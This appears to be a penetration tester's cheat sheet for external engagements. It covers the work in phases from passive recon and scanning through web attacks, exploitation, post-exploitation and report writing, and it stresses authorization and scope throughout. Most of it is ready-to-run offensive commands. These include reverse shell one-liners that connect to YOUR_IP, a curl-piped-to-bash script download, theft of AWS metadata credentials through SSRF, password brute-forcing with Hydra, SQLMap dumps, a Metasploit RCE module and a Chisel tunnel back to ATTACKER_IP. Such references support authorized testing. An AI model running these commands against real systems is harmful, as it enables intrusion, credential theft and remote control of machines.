~/cheatsheets/External Pentest Methodology
External Methodology 8 phases
Passive recon only — no direct interaction with target systems. Stay in scope and document your authorization before anything else.
WHOIS / DNS
# WHOIS registration info $ whois target.com # DNS records — all types $ dig target.com ANY +noall +answer $ dig -t MX target.com $ dig -t TXT target.com # SPF, DMARC, services # Zone transfer attempt $ dig axfr target.com @ns1.target.com
Certificate Transparency
# Enumerate subdomains via crt.sh $ curl -s "https://crt.sh/?q=%.target.com&output=json" \ | jq -r '.[].name_value' \ | sed 's/\*\.//g' | sort -u > subdomains.txt # Alternative: subfinder (passive) $ subfinder -d target.com -silent -o subs_passive.txt
Google Dorks
# High-value dorks site:target.com filetype:pdf OR filetype:docx site:target.com inurl:admin OR inurl:login OR inurl:portal site:target.com intitle:"index of" site:target.com ext:conf OR ext:config OR ext:env site:target.com "internal use only" OR "confidential" # GitHub dorking $ trufflehog github --org=target --only-verified
Shodan / Censys OSINT
# Shodan queries $ shodan search 'org:"Target Corp"' --fields ip_str,port,hostnames $ shodan search 'ssl.cert.subject.cn:target.com' # ASN enumeration $ amass intel -org "Target Corp" -whois $ curl -s https://api.bgpview.io/search?query_term=target.com | jq # Censys CLI $ censys search 'target.com' --index-type hosts
Active enumeration begins. Ensure written authorization is in hand. Log all source IPs used.
Subdomain Brute-force
# amass active enumeration $ amass enum -active -d target.com \ -o amass_out.txt -json amass.json # ffuf DNS bruteforce $ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -u https://FUZZ.target.com -fs 0 -mc 200,301,302,403 # DNSx — resolve and filter live hosts $ cat subdomains.txt | dnsx -resp -a -cname -o live_hosts.txt # Virtual host fuzzing $ gobuster vhost -u https://target.com \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ --append-domain -k
Nmap — Full Scan Chain
# Step 1: Fast all-port discovery $ nmap -p- --min-rate 5000 -T4 target.com -oN ports.txt # Step 2: Service + version + script scan on open ports $ nmap -sCV -p 22,80,443,8080,8443 target.com \ -oN detailed.txt -oX detailed.xml # Step 3: UDP top ports $ nmap -sU --top-ports 200 target.com -oN udp.txt # Step 4: Vuln scripts on specific ports $ nmap --script vuln -p 80,443 target.com
IP Range Scanning
# Mass scan an ASN/CIDR range — masscan first $ masscan 203.0.113.0/24 -p 1-65535 \ --rate 10000 -oG masscan_out.txt # Parse open ports and pipe to nmap $ grep "open" masscan_out.txt | awk '{print $4}' | \ cut -d/ -f1 | sort -u | tr '\n' ',' > open_ports.txt
Vulnerability scans are noisy. Use with caution — rate-limit where needed. Coordinate with client on maintenance windows if necessary.
Nuclei
# Full template scan $ nuclei -l live_hosts.txt \ -t cves/ \ -t exposures/ \ -t misconfigurations/ \ -severity critical,high \ -o nuclei_out.txt \ -rate-limit 50 # Web-focused $ nuclei -u https://target.com \ -t http/
Nikto + SSL
# Nikto web scan $ nikto -h https://target.com \ -output nikto.html -Format htm # SSL/TLS audit $ testssl.sh \ --full --htmlfile ssl.html \ target.com:443 # sslscan $ sslscan target.com
Metasploit Auxiliary Scan
# Import nmap XML and run smb_ms17_010 msf6 > db_import detailed.xml msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 > set RHOSTS target.com msf6 > run # Heartbleed check msf6 > use auxiliary/scanner/ssl/openssl_heartbleed msf6 > set RHOSTS target.com; set RPORT 443; run
Web application is typically the widest attack surface on external engagements. Prioritize OWASP Top 10 + business logic flaws.
Directory & File Brute-force
# ffuf — directory discovery $ ffuf -u https://target.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ -mc 200,204,301,302,307,401,403 \ -fc 404 -t 50 -o dirs.json -of json # File extensions $ ffuf -u https://target.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \ -e .php,.asp,.aspx,.bak,.old,.conf,.env,.zip # feroxbuster recursive $ feroxbuster -u https://target.com \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,bak --depth 3
SQLi — SQLMap
# Basic detection $ sqlmap -u "https://target.com/item?id=1" \ --dbs --batch # From Burp request file $ sqlmap -r req.txt \ --level 5 --risk 3 \ --dump --batch # POST body $ sqlmap -u "https://target.com/login" \ --data "user=a&pass=b" \ --dbs --batch
XSS — dalfox
# Single URL $ dalfox url \ "https://target.com/search?q=test" # Pipe gau output $ gau target.com | \ dalfox pipe -o xss.txt # Header injection $ dalfox url \ "https://target.com" \ --header "X-Forwarded-For:test"
SSRF / LFI / Open Redirect
# SSRF — interactsh OOB callback $ interactsh-client & # start listener, get url $ curl "https://target.com/fetch?url=https://YOUR.oast.me" # LFI — basic + php wrappers $ ffuf -u "https://target.com/page?file=FUZZ" \ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \ -mr "root:x" $ curl "https://target.com/page?file=php://filter/convert.base64-encode/resource=index.php" # Open redirect $ gf redirect < urls.txt | httpx -follow-redirects -fr
Auth Testing — Brute Force
# Hydra — HTTP POST login $ hydra -l admin -P /usr/share/wordlists/rockyou.txt \ target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid" # ffuf credential stuffing $ ffuf -w creds.txt -X POST \ -u https://target.com/api/login \ -d '{"user":"FUZZ","pass":"W2"}' \ -H "Content-Type: application/json" \ -mr "token" -mode clusterbomb
Service-specific checks for common externally-exposed protocols.
SMTP Enumeration
# SMTP user enumeration $ smtp-user-enum -M VRFY -U users.txt -t mail.target.com $ smtp-user-enum -M RCPT -U users.txt -t mail.target.com # Open relay test $ swaks --to external@gmail.com --from spoof@target.com \ --server mail.target.com # Check SPF/DMARC (spoofing posture) $ dig TXT target.com | grep -E "spf|dmarc|dkim"
VPN / RDP / SSH
# IKE/IPSec enumeration $ ike-scan target.com $ nmap -sU -p 500,4500 --script ike-version target.com # RDP security check $ nmap --script rdp-enum-encryption -p 3389 target.com $ nmap --script rdp-vuln-ms12-020 -p 3389 target.com # SSH audit $ ssh-audit target.com $ nmap --script ssh-auth-methods,ssh2-enum-algos -p 22 target.com
S3 / Cloud Misconfigs
# S3 bucket enumeration $ s3scanner scan --buckets-file buckets.txt # Build bucket wordlist from company name $ for name in target target-backup target-dev target-staging; do echo "s3://$name"; done | s3scanner scan # AWS metadata (if target has SSRF) $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Azure blob / GCS $ GCPBucketBrute.py -k target $ MicroBurst.ps1 Invoke-EnumerateAzureBlobs -Base target
Document every step. Capture screenshots and command output as evidence. Never go beyond defined scope.
SearchSploit + MSF
# Find exploits for detected versions $ searchsploit Apache 2.4.49 $ searchsploit -m exploits/linux/webapps/50383.sh # Metasploit search + use msf6 > search Apache 2.4.49 msf6 > use exploit/multi/http/apache_normalize_path_rce msf6 > set RHOSTS target.com; set LHOST tun0; run # CVE lookup tools $ vulners --host target.com
Credential Cracking
# hashcat — NTLM / bcrypt / SHA512 $ hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule $ hashcat -m 3200 bcrypt.txt rockyou.txt $ hashcat -m 1800 sha512.txt rockyou.txt # john with wordlist $ john --wordlist=rockyou.txt --rules hashes.txt
Shell Catch + Upgrade
# netcat listener $ rlwrap nc -lvnp 4444 # Shell payloads bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["bash","-i"])' # PTY upgrade python3 -c 'import pty; pty.spawn("/bin/bash")' stty raw -echo; fg export TERM=xterm
Once access is obtained — stabilize, enumerate, pivot. Document business impact of each finding.
LinPEAS + Manual Checks
# LinPEAS (color output) $ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash # Key manual checks $ sudo -l $ find / -perm -4000 2>/dev/null # SUID binaries $ find / -writable -not -path "*/proc/*" 2>/dev/null $ cat /etc/crontab; ls /etc/cron.* $ ss -tulpn # internal services $ find / -name "*.conf" 2>/dev/null | xargs grep -i "password" 2>/dev/null
Pivoting with Chisel
# Attacker — start chisel server $ chisel server -p 8080 --reverse # Victim — connect back + create SOCKS5 tunnel $ ./chisel client ATTACKER_IP:8080 R:socks # Route through proxychains $ echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf $ proxychains nmap -sT -p 80,443,445 10.10.10.0/24
The report is the deliverable — make it count. Every finding needs: title, CVSS score, evidence screenshot, reproduction steps, remediation.
Finding Structure
## Finding: [Title] Severity: Critical / High / Medium / Low / Info CVSS v3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-89 (SQL Injection) Affected: https://target.com/login?id=1 Description: The application fails to sanitize user input in the [param] parameter, allowing an attacker to inject arbitrary SQL. Reproduction: 1. Navigate to https://target.com/login 2. Set param to: ' OR 1=1-- 3. Submit — authentication bypassed Evidence: [screenshot / captured request] Impact: Full database read/write. PII exposure for [N] users. Remediation: Parameterize all database queries. Use prepared statements. Input validation alone is insufficient.
CRITICAL RCE AUTH BYPASS HIGH SQLi SSRF XXE MEDIUM XSS OPEN REDIRECT
PRE-REPORT CHECKLIST
All findings have reproduction steps verified twice
CVSS scores calculated and justified
Screenshots + Burp request files attached as evidence
Executive summary written for non-technical audience
Remediation guidance reviewed for technical accuracy
Risk-ranked findings table in report header
Timeline of activities included (covers you legally)
Out-of-scope findings flagged as informational only